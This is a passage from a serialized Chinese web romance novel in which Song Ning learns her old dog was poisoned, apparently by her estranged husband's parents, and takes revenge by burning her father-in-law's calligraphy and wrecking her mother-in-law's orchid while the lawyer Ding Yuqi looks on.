蒋秀兰立马安慰:“这怎么能怪你呢,怪也该怪东擎被那个女人迷了心智,连自己的父母都不认了。” “东东他是不是又跟你们吵架了?” 蒋秀兰叹了口气:“是啊,唉。他这是铁了心的要跟那个宋凝在一起,我们也是真没办法了……” “阿姨,我还有一个办法。” “你还有办法?” 林澜说:“阿姨,您跟叔叔听我的,这样做……” …… 傅东擎开车回了他跟宋凝的家。 车熄火了,他没有下去,而是坐在车里,仰头看着这个他们一起度过了十几年的房子。 以前每天下班回家,宋凝总是会为他亮一盏灯。 就在二楼花房的位置,他一抬头就能看到。 可是现在,整个别墅里黑漆漆空荡荡,花房没有亮灯,连花房里所有的玫瑰也全都枯死了。 宋凝最喜欢玫瑰花,他特意让人从法国运回来的新品种,花瓣大,还带有馨香,是她最喜欢的浅粉色。 宋凝很喜欢,精心照顾了这么多年,整个花房永远是花团锦簇的。 可她这才离开了没几天,这些金贵的小东西就全都活不下去了。 傅东擎点燃了一支烟,疲惫地靠在车里,看着天窗。 他觉得,他也快活不下去了。 从前他心里有疙瘩,觉得她出轨过一次,那自己也出轨一次,这样心理就平衡了。 林澜这个人选,其实他一开始并没有看得上。 毕竟有宋凝珠玉在前,林澜的姿色属实是有些够不上。 但林澜生了一双极为美丽的手—— 他很喜欢宋凝的手,纤细却不骨感,柔嫩莹白,她也从来不做美甲,是那种特别干净的好看。 林澜的手倒也不错,但多了美甲的修饰,失去了天然的美,只能说是凑合。 选中她的时候,傅东擎就告诉自己:她长相一般,能力一般,家庭也一般,等以后分开了就给她一笔钱,足够她后半辈子开销的,这样也算是互利互惠吧。 他以为自己做的隐秘,可没想到,宋凝太聪明,早就发现了。 事情就这样朝着不可控的方向狂奔而去,再也无法挽回。 傅东擎拧着眉心,吸了一口烟,满口苦涩。 早知道会成现在这样,他绝对不会为了什么所谓的“扯平”,去招惹林澜。 S市他留下的助理小何发来消息:【傅总,太太一切都好,还在卫斯理酒店内。】 傅东擎微微放了心,回了一句:【只要她不再想着跑,也不要太约束她,她想干什么都可以。】 S市,收到消息的小何细品了一下老板的这句话。 太太现在成了酒店经理,应该是不会离开了。 那他也不用阻止,静观其变就好了? 这个工作挺好,真省事。 小何:【是,傅总。】 傅东擎看着自己的屏保,这张照片还是不久前他过生日的时候两个人拍的合照。 宋凝笑的很甜,把脸靠在他的肩膀上,鼻头上还有他抹上去的奶油。 而他也笑的一脸幸福,呆呆地看着她。 时间如果回到那个时候该多好啊! 可惜,没有如果。 终究还是抵不住对她的思念,他播了一通电话出去。 小何很快接起:“傅总,您有什么吩咐?” “嗯,太太现在在干什么?” 小何说:“太太现在在唐小姐的房间呢,两个人在说话。” “你在哪里?” “我就在客厅里,太太和唐小姐在卧室。” “你小声点,把手机拿去卧室门口,我想听听阿凝的声音。” 小何脱了鞋,小心翼翼地走了过去,把卧室的门打开了一条缝,又把手机伸了进去。 宋凝和唐婷的声音很快就传了回来。 唐婷:“你要买男士衬衫干嘛呀?” 宋凝:“我有用,你能不能帮我看一下这个品牌的logo,是不是意大利定制的?” “好像是,我之前去意大利参加服装秀的时候好像见过这个牌子。” “你认识靠谱的代购吗?帮我问问这一件衬衫得多少钱。” 唐婷说:“这个牌子可不便宜哦,得几十万呢。” 宋凝咬了咬牙:“行,几十万就几十万,你让代购帮我买一件回来吧。” “那你把尺寸发给我,我发给代购。” 宋凝说:“欧洲那边用什么尺寸标准的?反正身高187左右,体重……跟傅东擎差不多。” 唐婷顿时炸了:“你要给傅东擎买衬衫?!不是,你怎么想的?……谁在那里!” 﨔 第二十九章 被高跟鞋砸了,算工伤吗? 小何被逮了个正着,手机被挂断了。 傅东擎有些懊恼,听得好好的,又听不到宋凝的声音了。 过了好一会儿,小何才回过来电话:“傅总,我刚刚被发现了。” 傅东擎微微低斥:“让你小心点!怎么这么容易就被发现了?” 小何也委屈:“是林澜小姐给我发消息,问你在哪,结果屏幕亮了一下,就被唐婷小姐发现了。” 傅东擎一口闷气憋在胸腔里。 “你把她拉黑。” “这样好吗?她毕竟怀着您的孩子,万一有什么突发状况又联系不上人……” 傅东擎说:“你放心,我爸妈现在把她看的像眼珠子一样,用不着联系你。” 小何只能从命:“好的,等下我就拉黑。” “那个……”傅东擎想起刚刚宋凝跟唐婷的对话,唇角就微微扬了起来:“如果之后太太偷偷买了什么东西,你就装作没看到,知道吗?” 小何问:“衬衫吗?” “反正你装不知道就行,也不要拆穿她。” 小何一拍脑门:“对了傅总我想起来了,下个月就是你们的结婚纪念日!” 傅东擎整个人都舒展开了:“是啊,纪念日,她给我准备了惊喜,那我也得好好给她选个礼物。” 小何说:“看来太太应该是心软了,觉得您还是最在乎她的,所以想主动拉近关系了。” 这话直接说进了傅东擎的心坎里了。 他只觉得方才的愁苦和郁闷瞬间一扫而空,整个人都给打了鸡血一样有劲儿。 “小何,你再去帮我订法国的玫瑰花,然后找几个园丁,种在家里的花房里。另外,每天再帮我订完S市所有的玫瑰花,全都送到太太的房间去。还有,帮我谢谢予期,肯定是他在阿凝那里帮我说了好话,阿凝才会回心转意的。” 小何应了一声:“好的,我会把您的感谢转告给丁先生的。只是……” “只是什么?” “……被唐小姐的高跟鞋砸了,能算工伤吗?” 挂了电话,傅东擎的心情还是很好。 他哼着小曲回了家。 打开衣柜,把所有的衬衫都拿了出来,“刘姨,这些明天全都拿去扔了。” 刘姨觉得诧异:“全部吗?那先生你穿什么?” 傅东擎噙着笑意:“很快,阿凝就会给我买新的了。” …… S市,卫斯理酒店。 唐婷直接去把卧室的门反锁了。 “这个傅东擎真是猥琐啊,还让人偷听我们两个的谈话。” 宋凝已经不怎么想起傅东擎了。 托丁予期的福,她在这里的工作很充实,每天早上得去给他做一床的动物园布摆件,中午还得去给他送餐,晚上还得去给他遛狗—— 丁予期也不知道哪根筋搭错了,让人买了三只德牧养在房间里。 还不是小德牧,巨大一只。 三只狗跑起来,能把她当风筝给放上天。 唐婷恶狠狠地磨牙:“他这是公报私仇吧?仗着你下定决心不愿意回到傅东擎身边,可着劲儿的折腾你。” 宋凝也无语。 说好的酒店经理,只服务客户的呢? 他硬要说自己也交了房费,所以也算是客户,还是VVVIP,点名要她这个经理亲自服务,不然就辞退她。 可是他这个房费,最后也是回到他自己卡里啊! 左手倒右手一下,就能名正言顺的折磨她了。 他不止是周扒皮,还是酷吏! 就连唐婷也百思不得其解:“多大仇多大怨啊,他怎么对你就这么大敌意呢,他真不是个暗恋傅东擎的盖吗?” 宋凝呵呵:“以前我也怀疑过,但应该不是,昨天我见到他女朋友了。” “……那也说不准,他或许是个双。” 宋凝又补了一句:“还是个M。” 唐婷安慰她:“没事,我已经跟代购说好了,她尽快去帮你买。等把衬衫赔给他,你就不用这么怕他了。” 宋凝倒也不是怕他。 丁予期虽然有点针对她,但还是在可接受的范围内。 做酒店经理,就是什么样的客人都会遇到。 刘小姐和他就是两个典型案例,经过这两个人,她的工作经验就积攒的更厚实了。 扣扣扣—— 敲门声。 唐婷给她做了个噤声的手势,然后去开了门。 看到小何站在外面,她就没给好脸色:“干嘛呀?姐的高跟鞋没闻够是吧?” 小何一边的额角已经贴上了纱布,应该是包扎过了。 还好,傅总答应了给他年终奖翻倍。 这个伤他也不算白受。 小何直接看向了屋里的宋凝:“太太,有人找。” 唐婷挥舞了一下拳头警告他:“别叫她太太,要不然给你闻闻我另一只高跟鞋?” 小何抱着头缩了缩:“好好好,宋小姐,外面有个人找您。” 宋凝以为是哪个酒店客户又出问题了,对唐婷说:“我出去看看。” 她一出门,就有些愣住了。 黑皮辣/妹? “……你找我有事吗?” 林晓筠直接扑上来一把握住她的手,“原来就是你啊!” 宋凝更懵了:“我们认识吗?” 林晓筠哈哈笑:“现在就算是认识了啊!” “你找我有什么事啊?” 林晓筠突然目光下移,看向了她的脚:“哦,我是来问问,你这双高跟鞋在哪里买的,链接发我一下。” 宋凝实在是摸不清她是什么路数。 看她的打扮,应该是个运动girl,浑身的肌肉也很匀称健美,隐隐还能看到腹肌。 这种女孩,也愿意穿细高跟吗? “我这个就是随便买的杂牌,你可以去香奈儿专卖店看看,应该有长得像的同款。” 香奈儿是正品,她脚上这双才是高仿。 可不得长得像么。 可林晓筠说:“我就要你这个,一模一样的!” 宋凝最后还是把链接给她了。 但是丈二和尚摸不着头脑。 很快,她就接到了丁予期的电话:“宋经理,我的咖啡机坏了,你上来看看。” 宋凝保持着职业性的礼貌,“丁总真是不好意思,现在是我的下班时间,属于我私人,我可以拒绝一切工作要求。另外,咖啡机坏了您找售后维修啊,找我干什么?” “哦,那你明天去办离职吧。” 宋凝:“?!” 丁予期:“连咖啡机都不会修,我要你何用?还有,我的衬衫记得赔,以及一个月后办离婚手续别叫我,你自己想办法。” 宋凝气不打一处来:“丁总,是不是当律师当久了,心眼都会变得比针鼻还小?” “是啊宋小姐,我就是一贯考虑周全,懂得为自己争取利益。” “那请问高端大气上档次,考虑周全又详实的丁总,您这么优秀这么厉害的人中龙凤,还要喝咖啡吗?您不应该是吸收天地灵气,汲取日月精华吗?” “这你就不懂了,喝咖啡已经算是我迁就你了,我以前都是喝露水的。宋经理,你是以后每天早上去给我收集新鲜露水,还是现在上来给我修一下咖啡机?” 﨔 第三十章 宋凝,你真不记得了? 宋凝坐电梯到了64层。 刚一出电梯门,就差点被扑倒在地。 三只德牧争先恐后的往她身上扑,宋凝差点没当场人仰马翻。 “儿子,过来。” 丁予期一声口令,三只德牧就垂着头摇着尾巴回到了他身边,乖巧地在他脚边卧下了。 宋凝拍了拍制服上的狗爪印,这才缓缓走了过去:“咖啡机呢?” 丁予期:“还没买啊。” 宋凝:“?” 没买她修什么? 丁予期一边老神在在的撸狗,一边单手刷手机,“你不是喜欢喝咖啡么,有没有什么好的咖啡机推荐?” 宋凝:“这件事就不能手机联系吗?” 非要大半夜的把她叫上来一趟? 而且—— 她探头往屋子里面环顾了一下:“你们家姑娘没在?” “我们家姑娘,谁?” 宋凝鄙视他:“装,继续装。” 丁予期挨个指了指自己的三只狗:“这我大儿子,这我二儿子,这我三儿子,都是正统纯爷们,这个房间里除了你之外,没有姑娘。” 宋凝已经可以肯定,这位少爷估计又是大半夜的没事做,给她找不痛快的。 “咖啡机的品牌和型号我稍后整理好发给你,丁总要是没其他事的话,我就先走了。” “等等,”丁予期叫住她:“冰箱好像也有点问题,你来都来了,帮我看看。” “冰箱?”宋凝看了一眼厨房里的灰色冰箱:“什么问题?” “可能是不制冷了吧,温度一直降不下来。” 宋凝认命地走了过去,拉开冰箱看了看,好像确实是不制冷了。 温度不对。 丁予期不知道什么时候晃晃悠悠地走了过来:“看出问题来了没有啊?” 酒店给配备的都是全屋智能家电,按理说只要不断电,就应该不会出问题的…… 宋凝蹲了下来,用手往冰箱后面一摸—— 脸都黑了。 “冰箱没插电,当然不制冷啊!”宋凝更无语了:“每天都会有管家来检查家里的各种设施的吧?早上检查过没问题,到了晚上突然插销被拔下来了,小丁总,您故意的吗?” 丁予期耸了耸肩,“估计是我儿子们打闹的时候扯下来的吧,我哪儿知道。” “你不知道?这看看冰箱跟墙壁之间的缝隙,你的儿子们是会缩骨功吗?哪一个能钻的进去?” 宋凝也懒得跟他计较这些,干脆把插销给他插上了。 “冰箱弄好了,过一会儿应该就能下降到使用温度了。丁总家里还有什么东西需要修理的,直接一次性说完吧,我能弄的就弄,弄不了的给你保修,明天让专业师傅来给你维修。” 丁予期沉默了。 宋凝等了一会儿,没等到他的回答,于是转身就走:“没有的话我走了。” “宋凝。” 丁予期叫了一声。 宋凝有些意外,这些年,他好像一直都没有这么正式的叫过她的名字。 每次见面,他都是阴阳怪气的,要么叫宋小姐,要么叫宋经理。 宋凝停住脚步:“丁总还有什么吩咐,直接说就好。” “你就这么讨厌我吗?” 宋凝觉得他这话问的很奇怪,“你不也很讨厌我吗?我们两个彼此彼此吧!” “行吧,没事了,你走吧。” 丁予期坐在床边,闭上了眼睛,不知道在想什么。 宋凝回头看了他一眼,实在是弄不明白这家伙葫芦里卖的什么药。 不过她现在愤怒落了下风,理智回了笼——他现在是她是的老板。 她刚刚的态度会不会不太好? 万一这家伙心一横真的把她裁了怎么办? 人在屋檐下,该怂还是得怂。 “丁总,刚刚我说话有点急,我不是针对你,我只是单纯不想加班而已。成年人的崩溃时刻,希望你能谅解。” 丁予期嗤地一声笑了:“宋凝,你真不记得了?” “记得什么?” 丁予期双手向后撑在床上,歪着头懒洋洋地看着她:“没什么,不记得就算了。出去吧。” 宋凝一脸莫名其妙地走出了房间。 等电梯的时候,刚好遇到了要出来的林晓筠。 她有些惊喜:“宋小姐,你来找Ryan啊?” “准确的说,是他找我。” “明白!懂!你们忙!我再去楼下酒吧坐一会儿,你们不急啊!千万别急!” 林晓筠风风火火地,像是踩着风火轮一样又坐电梯下去了。 宋凝看着电梯显示屏上的数字一点一点的减少,更无语了。 64层,光是下到一楼就要两三分钟,然后再上行,中途还不知道有没有客人上上下下的,她又得等好长时间。 “宋凝。” 丁予期又在叫她。 宋凝朝天花板翻了个白眼,正想调整出一个礼貌的假笑再应付一下这位老板兼大客户,手腕就被握住了。 丁予期拉着她就往房间里走。 宋凝吓了一跳:“你干什么?” 眼看着卧室那张大床越来越近,宋凝的恐慌感开始沿着脊柱往上爬:“丁予期,你吃错药了?你家姑娘刚刚来了,现在就在楼下酒吧,我去帮你找……” “雪球死了。” 宋凝整个人都呆住了。 雪球,就是她养的那只西高地。 15岁高龄的老太太狗,身体各项机能都不太好了,一直在宠物医院里输液,勉强存活着。 “怎么这么突然……” “还不清楚,我现在带你回H市。” “电梯在外面……” “我房间里有专属电梯,走这个快。” 一路下楼,开车,到机场。 坐在飞机上的时候,才距离他们离开酒店不足四十分钟。 S市飞往H市,需要大概两个小时。 夜晚的红眼航班,冷气开的很足,丁予期问空姐要了一条毛毯,把她包裹了个严严实实:“你先别着急,我已经联系了H市的朋友,先去宠物医院看雪球的情况,等我们下了飞机就直接过去。” 宋凝点了点头。 雪球年纪大了,身体不好,对于死亡这件事,她其实之前就已经有了心理准备。 但是这一切来的太猝不及防了。 她今天还在跟唐婷计划着,等雪球的情况好一点,她就回一趟H市,把雪球接到S市这边来照顾。 唐婷还说,下部戏要让雪球去客串一个角色。 可是,为什么,这么突然? 脑后的头发被轻轻揉了揉,温柔又小心翼翼:“你要喝点水吗?” 宋凝摇了摇头。 “那就睡一觉吧,飞机降落的时候我叫醒你。” 﨔 第三十一章 无论是谁,我都不会放过! 下飞机的时候已经是凌晨了。 丁予期开车,宋凝坐在副驾,整个人都有些木木的。 丁予期说:“宋凝,你振作一点,我知道雪球去世对你打击很大,但现在还不是魂不守舍的时候。” “我知道。” 到了宠物医院,丁予期的朋友已经在了。 他跟丁予期说:“你们没来,我没敢让人做尸检,不过小狗肯定不是正常死亡,它最近的情况不错,食量也大了,谁知道今晚突然口吐白沫,没一会儿就……” 他看了一眼宋凝,问丁予期:“你女朋友?” 丁予期拍了拍他的肩膀:“今天辛苦你大晚上的跑一趟,改天请你。” “说什么呢,大家都是兄弟。” 他们说话的时候,宋凝已经直接进去了宠物医院,熟门熟路地找到了雪球之前的笼子。 雪球已经没在里面了,但是能明显看到笼子里有很多白色的泡沫,还有鲜血。 丁予期过来的时候,就看到宋凝蹲在雪球的笼子前。 平时她看起来高挑纤瘦的,可是蹲下就这么小小一只。 他走了过去:“宋凝……” “今天都有谁来过?”宋凝看向他身后,宠物医院的店员。 店员说:“雪球的爸爸来过。” 傅东擎? “什么时候来的?” “就是晚上,大概九点多的时候,他来看了看雪球,还给雪球带来了它最喜欢吃的小肉干。雪球当时特别开心,还在摇尾巴。然后他离开没多久,雪球就开始吐白沫了。” 宋凝的声音冷的可怕:“雪球是死于投毒,是吗?” “这个还得做进一步检测,不过看雪球的症状……跟急性中毒症状高度相似……” “雪球现在在哪?” “在里面,你跟我来。” 宋凝终于在最里面一个房间的软垫上看到了雪球—— 它小小的身体就那么静静的躺着,前爪上还有留置针,双眼圆睁,极为痛苦。 宋凝想摸摸它,可被丁予期阻止了。 “你要是想找到真凶为雪球报仇,现在最好别碰它,我找了专业的化验师给雪球做检测,一会儿就到。” 宋凝硬是忍了下来。 检测师的确很快就到了,毒性检测也很快出了结果。 “呋喃丹。”检测专家说:“是一种农用的杀虫剂,毒性很强。不过这种东西已经被管制了,很难在市面上买到,小狗还在宠物医院里面,怎么就会中毒了呢?” 宋凝冷笑:“如果是熟人投毒呢?” 雪球跟着她和傅东擎,从一个月大的小奶狗,长到了现在15岁。 从他们刚认识,一直到他们分道扬镳,雪球几乎是他们两个感情的见证。 她当初以为,等雪球老了,她和傅东擎就一起把雪球带到它最喜欢的草地上埋了,让它的灵魂也可以在草地上自由自带的奔跑。 她知道养宠物终有离别,但没想到居然是以这种方式。 宋凝快速走了出去,丁予期拉住她的手:“见到雪球了?” “嗯。”宋凝抬起头看他:“丁总,你能再帮我一个忙吗?我跟傅东擎离婚后,我分到的所有财产都可以给你。” 丁予期微微蹙眉:“现在说这些干什么?说吧,需要我干什么?” “我要把傅东擎送进去。” “送哪儿去?” “监狱。” …… 别墅里。 午夜时分,傅东擎坐在光秃秃的花房里,仰头喝下了一罐啤酒。 月朗星稀,H市的夜空这么美。 不知道S市今天的天气如何? 不知道是不是酒精的关系,他对宋凝的思念像是吸水的海绵一样膨胀。 可是…… 她把他拉黑了。 所有的联系方式。 甚至连邮箱都设置了拦截。 所幸,他还有个好兄弟能帮忙。 他拨了个电话出去:“予期,阿凝她……” “你现在在家吗?” 丁予期的声音听起来似乎有些严肃,还有些急促。 傅东擎不明所以,“在。” “你父母家还是你自己家?” “当然是我跟阿凝的家。” “好,我大概十分钟到。” 傅东擎愣了一下:“你不是在S市么,怎么突然回来了?大晚上的找我……怎么,到嘴的姑娘又飞了?” 丁予期顿了一下,只说了一句:“一会儿见面聊。” “行,我去给你准备啤酒,我们哥俩今晚一醉方休——” “我不喝,”丁予期说:“宋凝也来了。” 宋凝这两个字,就像是一个开关。 傅东擎原本迷蒙的意识迅速恢复了清明:“阿凝回来找我了?她终于肯来见我了?!” “反正见面再说。” 傅东擎挂了电话,欣喜之色溢于言表。 他赶紧把家里所有的灯都打开了,阿凝喜欢明亮,不喜欢黑漆漆的。 然后又去给宋凝做了一杯咖啡,她最喜欢的冰拿铁,两份奶一份糖。 还有什么? 对了,这么晚了她应该饿了。 傅东擎叫了一份海鲜粥,晚上不能吃太油腻的,要好消化一点的,阿凝之前夸过他们家的海鲜粥,她应该会喜欢。 做完这一切,他还去玄关处把宋凝的拖鞋摆好,她一进来就可以换上。 终于,门铃被按响了。 傅东擎几乎是在门铃响的第一秒就开了门。 “阿凝……” 啪—— 一个响亮的耳光打了下来。 他的脸被打到偏向一边去。 傅东擎有些茫然,捂着脸看向宋凝。 她风尘仆仆,但神情激愤,目光凌厉,死死地盯着他。 “阿凝,你怎么……” 啪—— 又是一个耳光。 丁予期上前拉住她:“你先冷静……” “你别拦我!” “我不是拦你,打人手也痛。” 傅东擎仍旧沉浸在一无所知里,他错愕不已。 “阿凝,你到底发生了什么事?” 最后还是丁予期回答了他的问题:“雪球死了。” 傅东擎震惊地瞪大了眼睛:“什么?” “店员说,今天只有你去看过它,还给它带了小肉干,你走后没多久它就死了。” 傅东擎慌忙解释:“小肉干都是我从家里拿的,还是安凝之前给雪球做的。我养了雪球十五年,我怎么可能会害它?!” “我知道,应该不是你。”宋凝淡淡地说:“但也逃不出你爸妈,或者林澜,就这三个人。” 傅东擎摇头:“不可能,林澜在住院,我爸妈更不可能……” 他突然僵住了。 前不久,他的父母还给宋凝做了恶毒的局。 只为了逼她离婚。 这一次,受害的是不是宋凝,但是是宋凝最疼爱的雪球。 傅东擎紧紧拧着眉心,抹了一把脸,说道:“阿凝,给我点时间,我会查清楚的。” “不必了,”宋凝说:“我来就是通知你一声,不管是你爸妈,还是你女人,还有亲手把小肉干喂给雪球的你,我一个都不会放过。” 﨔 第三十二章 不愧是他的好兄弟 傅东擎神色痛苦:“雪球死了我也很难受,阿凝,我会给你一个交代的。” “交代有什么用?!能让雪球复活吗?!” 宋凝说:“傅先生,以后这种没用的话就别说了,听着恶心。” 她转身就走出了宠物店。 丁予期就跟在她身后,大概半个身位的样子。 半包围地护着她上了车,还用手挡在车顶上,避免她撞到头。 更关键的是,丁予期给她拉开的是副驾驶的车门! 被叫来帮忙的朋友整个人都斯巴达了。 不是说这个女人是丁予期的女朋友么? 怎么她养的小狗的爸爸是面前这个傅家的太子爷傅东擎? ……这可真够乱的。 “大蒋,”丁予期不知道什么时候去而复返,拍了拍他的肩:“再帮我个忙,雪球的遗体暂时就封存在宠物医院,不要让其他无关人等触碰,也要小心被人销毁证据。明天我会报警,让警方来做个官方的鉴定。” 大蒋点了点头,“这个你放心,我会派人守住宠物店。” “好,多谢了。宋凝还在等我,我先过去了。” 大蒋舔了舔唇,还是把盘旋在心底的问题问了出来:“你跟这个宋凝是什么关系?” 丁予期:“我们……” “宋凝是我太太,”傅东擎说:“予期是我的好兄弟,我太太最近在S市,我因为一些事没办法过去陪她,就麻烦予期帮我照顾一下她。” 大蒋惊讶地瞪大了眼睛:“她是你太太?!她结过婚了?” 傅东擎说:“是的。大蒋是吧?今天真的谢谢你了,以后有什么需要帮忙的也可以随时联系我,我会尽力。” 大蒋看了看傅东擎,他说话掷地有声,不像是假的。 然后又转头去看了看丁予期,他的脸色有些不好看,尤其是垂着身侧的双手,已经紧紧攥成了拳,似乎在努力压抑着什么。 大蒋摸了摸鼻子,干笑了两声:“好,那就先谢谢傅总了。不过我应该没什么事,雪球这边交给我,你……你们都放心吧。” “丁律师!”宋凝降下了车窗,有些微微地不满:“请问我们现在可以走了吗?你要是忙的话,我自己打车走。” 丁予期连忙应了一声:“来了。” 他拍了拍大蒋的肩膀,快速跑向了宋凝的方向。 宋凝似乎皱着眉跟他说了些什么,态度应该不是很好。 但丁予期只是轻轻点了点头,并没有不耐烦,而是乖乖发动了车子,离开了现场。 大蒋悠悠地咕哝了一句:“我还没见过丁三少爷对谁这么唯唯诺诺,被催了也不生气的。” 傅东擎说:“那毕竟是他嫂子,他看在我的面子上也不会对阿凝态度太差。” 大蒋扁了扁嘴,虽然没明说,但明显是觉得不是这个理由。 傅东擎说完这句话,突然也觉得哪里有些不对。 宋凝跟丁予期也认识这么多年了,两个人一见面就是噼里啪啦一路火花带闪电的互怼,今天的丁予期好像也有些反常。 不但火速带着宋凝回来看雪球,还对她言听计从的。 但是转念一想,雪球死了,宋凝正在伤心和愤怒的边缘,这个时候跟她吵架,的确不太合适。 只能说,丁予期还是分得清楚时机和轻重缓急的。 没事的时候互相怼一怼,真的发生严重的事了,他还是会体谅对方情绪的。 不愧是他的好兄弟。 …… 丁予期开着车,看了一眼坐在副驾驶的宋凝。 “我们现在去哪儿?” “傅家。” “哪个?” “傅家老宅。” 那就是要去找傅学森和蒋秀兰了。 丁予期点了点头,朝着傅家老宅的方向开去。 车子停稳,宋凝直接下了车,疯狂地按门铃。 佣人来开的门:“少奶奶?你怎么这么晚过来了,老爷和太太都已经睡了,您要不明天再来?” 宋凝直接绕过她进了屋,直接去了傅学森的书房,把傅学森最喜欢的一副字画给撕成了碎片。 佣人赶来的时候吓了一跳:“我的老天爷,少奶奶你在干什么?!这可是老爷最心爱的名家名作啊!” “最心爱?”宋凝冷笑了一声:“他们既然要毁了别人最心爱的东西,那就也得尝尝自己最宝贝的东西被毁了的滋味!” 说完,她对丁予期伸出手:“丁律,有打火机吗?” “有。” 他把打火机放在她掌心,然后就抱着手臂站在旁边继续看戏。 宋凝又把一副牡丹图点燃,顺手扔进了傅学森存放字画的柜子里。 佣人看的都快晕过去了:“少奶奶,您快住手!来人呐,快来人呐,快来灭火……” 宋凝走过去把窗户打开了,让外面的风吹进来,火势立马越来越大,整个柜子里的字画很快就都被点着了。 佣人想去抢救,被丁予期拦住了。 “吴妈,这都烧起来了,你还是别凑这个热闹,免得大火烧到你身上。” 吴妈是傅家的老佣人了,也是认识丁予期的。 “丁三少爷!您在就好了,您赶快打电话给少爷,让他回来管管少奶奶吧!” “你们家少爷可管不了宋凝,”丁予期微微勾唇:“而且很不凑巧,宋凝是我带来的。” 吴妈错愕不已:“丁少爷,您……” 动静闹大了,终于吵醒了傅学森和蒋秀兰。 他们穿着睡衣赶到的时候,看到的就是一整个柜子的字画都在熊熊燃烧,而且宋凝还在把墙上悬挂着的最后一幅画取了下来,正要往火里扔。 “住手!你在干什么?你疯了?!” 傅学森直接冲了过去,想从宋凝手里抢下最后的画。 可宋凝先一步,已经把画丢进了火海里。 火势太大,顷刻间就把画卷吞没。 她拍了拍手上的灰,轻笑着:“你来晚了,全烧完了。” 傅学森目眦欲裂,指着她的鼻子,手指都在颤抖:“你……你怎么敢动我的宝贝!” “那是因为你们先动了我的雪球!”宋凝厉声骂道:“傅先生,我本来想着,我跟傅学森一拍两散之后,我跟你之间也没什么交集了,犯不上跟你杠上。但是雪球死了,我必须得给它报仇!” “你个贱人!” 傅学森扬手就要打。 可手高高举起,却在空中被一个巨大的力道给拦住了—— 﨔 第三十三章 发疯才是解决问题的唯一途径 傅学森有些震惊的看着丁予期。 丁予期还是那副玩世不恭的大少爷样,笑眯眯的:“傅伯伯,打女人不太好吧?” 傅学森眼睁睁看着自己一生珍藏的字画全都被毁于一旦,哪里还有理智,“小丁,你别拦我!她疯了,这个女人疯了!我早就说不该让她进我傅家的门,扫把星!” 他用力想要抽出手臂,可丁予期却握的紧紧的。 毕竟年龄差距在那摆着,体力悬殊,丁予期不放手,他压根挣脱不了一点。 傅学森冷声问道:“你跟东擎是好兄弟,你应该帮着我去制服这个疯女人啊!你到底在干什么?!” 丁予期依旧在笑:“疯女人?她今天为什么会疯,傅伯伯,蒋阿姨,难道你们心里不清楚吗?” 蒋秀兰神色一变,“我们清楚什么?我们好端端的在家里睡觉,她突然闯进来烧了我们家的书房,她还有理了?!报警,我要报警——” 宋凝看到了蒋秀兰,突然想起来了。 “我倒是忘了,还有你。”宋凝呵呵冷笑着:“你最心爱的东西是什么来着?哦,对,我想起来了,你的那盆兰花——” 说着,她就要去二楼的花房。 蒋秀兰顿时脸色大变:“你要干什么?你站住!” 她越喊,宋凝跑的越快,转眼间已经到了二楼,把那盆兰花举了起来,悬在空中。 蒋秀兰捂着心口,痛苦不已:“你、你不要……” “不要什么?” “我的兰花,我的兰花!” 砰! 兰花从二楼坠落,直直砸在了地板上。 花盆碎裂,泥土散落一地,整株兰花也掉了出来。 “啊!!!!!” 蒋秀兰痛苦的嘶吼,跌跌撞撞的朝兰花的方向跑了过去。 可宋凝更快。 她飞快下了楼,赶在蒋秀兰之前,从地上捡起了那株兰花。 然后,当着她的面把她养了五年才好不容易开出来的三朵花一朵一朵的扯了下来,扔在地上,用脚碾碎。 蒋秀兰扑上去想要抢。 宋凝灵活地一个错身,她扑倒了置物架,上面的各种精美的工艺品和瓷器也哗啦啦散落了一地。 蒋秀兰从地上爬起来,一把拉住宋凝的袖子,疯了一样的去抓她的脸。 宋凝直接用力一甩,蒋秀兰整个人扑倒在地。 “秀兰!” 傅学森想要去救老婆,可是被丁予期钳制的死死的,根本挣不脱。 傅学森不可置信地看着丁予期:“……你跟她是一伙儿的?是东擎让你带她来的?!为了个女人,他真的连自己的父母都不要了吗?!” “是我带她来的,但是跟傅东擎没什么关系。” “那你……” “傅伯伯,与其纠结是谁带她来的,我觉得你不如还是先解释一下雪球的死是怎么回事吧。” 一说到雪球,傅学森立刻别过脸去。 “一只狗而已,跟我有什么关系?” “没关系吗?可是您好像对雪球的死一点都不意外呢。您是早就知道它会死,是吗?!” 傅学森显然被说中了心思,说话都有些不太利索了:“那、那只狗都很老了,死了也是正常现象,很奇怪吗?她的狗死了,跑来我家里撒野,这是什么道理?!” “真的跟你没关系吗?”宋凝冷冷的问:“我不信。” 傅学森怒骂道:“你有证据吗?你凭什么说你的狗是我毒死的?” “你怎么知道雪球是被毒死的?你还说跟你无关?!” “就是我毒死的,那又怎么样?”傅学森梗着脖子说道:“杀一只狗而已,又不是杀了人,警察总不能因为我毒死了一只狗就把我抓起来吧?!” 宋凝问丁予期:“丁律,法律上真的没有什么条文可以惩罚他吗?” 丁予期迟疑了一下,摇了摇头。 “顶多是批评教育一下,或者是赔偿很少的钱,其他……没有了。” 傅学森爆出一阵狂笑:“是啊,如果杀狗犯法的话,那卖狗肉的怎么说?狗又不是什么濒危动物,杀就杀了。大不了你买这条狗多少钱,我赔你多少钱就是了,西高地也不值多少钱吧?” 雪球陪伴了她十五年。 它懂事,听话,她生病的时候它会默默陪着她,会叼着玩具来逗她开心。 这些陪伴和感情,难道就一点价值都没有吗? 宋凝浑身都在颤抖。 难道雪球就这么不明不白的痛苦死去,她这个妈妈就只能眼睁睁的看着,拿始作俑者一点办法都没有吗?! 丁予期说:“你也泄愤了,这些字画还有兰花也价值不菲……” “你要劝我放弃吗?” 丁予期问:“没有,你想怎么办,我会帮你。” “我说了,我要把他们送进监狱。” 他思索了一下,说:“好。” 门口传来警笛的声音。 蒋秀兰像是看到了救星,从地上爬了起来,跌跌撞撞的跑了出去:“警察先生,有人要杀了我们!” 警方办法都是很公正的,自然不会相信蒋秀兰的一面之词。 了解了具体情况后,警方也叹了口气:“目前,毒死狗也确实没有什么惩治方法。买小狗的钱他也愿意赔偿,至于精神损失这一块,也没有办法具体衡量,所以只能双方协商决定。” 傅学森指着自己的书房,愤怒地控诉:“那她烧了我的书房怎么说?我的几十幅珍藏的字画啊,我毕生的心血!还有我太太的兰花,她都得照价赔偿!” 蒋秀兰立刻附和道:“没错!我们的字画都是名家墨宝,兰花也是珍贵品种,让她赔!赔不起就去蹲大牢!” “我看谁敢!” 傅东擎也回来了。 他冷着脸看了一眼客厅里的狼藉,径直走去了宋凝身边:“阿凝,你放心,我不会让你赔的。” 